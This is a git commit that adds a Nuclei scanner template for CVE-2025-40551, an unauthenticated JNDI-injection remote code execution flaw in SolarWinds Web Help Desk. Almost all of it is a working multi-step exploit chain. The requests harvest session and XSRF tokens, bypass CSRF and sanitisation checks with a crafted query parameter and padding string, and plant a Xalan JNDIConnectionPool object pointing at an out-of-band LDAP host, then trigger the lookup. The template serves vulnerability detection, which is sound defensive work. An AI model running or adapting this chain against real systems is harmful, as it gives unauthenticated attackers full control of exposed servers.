Adding SolarWinds Web Help Desk AjaxProxy JNDI Lookup - CVE-2025-40551

This commit is contained in:
Prince Chaddha
2026-01-29 00:26:31 +07:00
parent 7b1f4912bc
commit d061e27cc7

View File

@@ -0,0 +1,206 @@
id: CVE-2025-40551
info:
name: SolarWinds Web Help Desk < 2026.1 - Unauthenticated JNDI Injection RCE
author: Horizon3.ai
severity: critical
description: |
SolarWinds Web Help Desk before version 2026.1 contains an insecure deserialization vulnerability in the jabsorb JSON-RPC library. When chained with a CSRF whitelist bypass (CVE-2025-40536), remote unauthenticated attackers can exploit JNDI injection via the Apache Xalan JNDIConnectionPool class to achieve remote code execution. The bypass involves including "/ajax/" in a query parameter to circumvent URI validation, while switching from "/ajax/" to "/wo/" endpoints bypasses payload sanitization routines.
impact: |
Remote attackers can execute arbitrary code on the host machine without authentication, potentially leading to full system compromise.
remediation: |
Update SolarWinds Web Help Desk to version 2026.1 or later.
reference:
- https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/
- https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40551
- https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm
- https://nvd.nist.gov/vuln/detail/CVE-2025-40551
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-40551
cwe-id: CWE-502
epss-score: 0.00866
epss-percentile: 0.74688
metadata:
verified: true
max-request: 6
vendor: solarwinds
product: web_help_desk
shodan-query: http.favicon.hash:1895809524
tags: cve,cve2025,solarwinds,webhelpdesk,deserialization,rce,jndi,oast
flow: |
http("initial_session") &&
http("login_pref_page") &&
http("trigger_saml_object") &&
http("create_jsonrpc_bridge") &&
http("create_malicious_object") &&
http("trigger_jndi_lookup")
http:
- id: initial_session
method: GET
path:
- "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa"
headers:
x-webobjects-recording: 1
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(tolower(all_headers), "x-webobjects-session-id")
- contains(tolower(all_headers), "xsrf-token")
- contains(toupper(all_headers), "JSESSIONID")
internal: true
condition: and
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: wosid
part: header
regex:
- "[xX]-[W]ebobjects-[sS]ession-[iI]d: ([a-zA-Z0-9]{22})"
group: 1
internal: true
- type: regex
name: xsrf_token
part: header
group: 1
regex:
- "Set-Cookie: XSRF-TOKEN=([a-z0-9-]{36});"
internal: true
- id: login_pref_page
method: GET
path:
- "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref"
headers:
X-Xsrf-Token: "{{xsrf_token}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- externalAuthContainer
- SAML 2.0
internal: true
condition: and
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: externalAuthContainer
part: body
group: 1
regex:
- 'id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk.woa/ajax/[0-9]+\.[0-9]+)'
internal: true
- id: trigger_saml_object
method: POST
path:
- "{{BaseURL}}/{{externalAuthContainer}}"
headers:
X-Xsrf-Token: "{{xsrf_token}}"
body: 0.7.1.3.1.0.0.0.1.1.0=1&_csrf={{xsrf_token}}
matchers:
- type: status
status:
- 200
internal: true
- id: create_jsonrpc_bridge
method: GET
path:
- "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref"
headers:
X-Xsrf-Token: "{{xsrf_token}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- JSONRpcClient
internal: true
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: jsonrpc_endpoint
part: body
group: 1
regex:
- "JSONRpcClient\\('/helpdesk/WebObjects/Helpdesk.woa/ajax/([0-9.]+)'\\);"
internal: true
- id: create_malicious_object
method: POST
path:
- "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}"
headers:
X-Xsrf-Token: "{{xsrf_token}}"
Content-Type: application/json
body: |
{
"bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
"id":1,
"method":"wopage.setVariableValueForName",
"params":[
"malicious",
{
"javaClass":"org.apache.xalan.lib.sql.JNDIConnectionPool",
"jndiPath":"ldap://{{interactsh-url}}/ou=ou,o=o"
}
]
}
matchers:
- type: status
status:
- 200
internal: true
- id: trigger_jndi_lookup
method: POST
path:
- "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}"
headers:
X-Xsrf-Token: "{{xsrf_token}}"
Content-Type: application/json
body: |
{
"bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
"id":1,
"method":"wopage.variableValueForName",
"params":["malicious"]
}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 200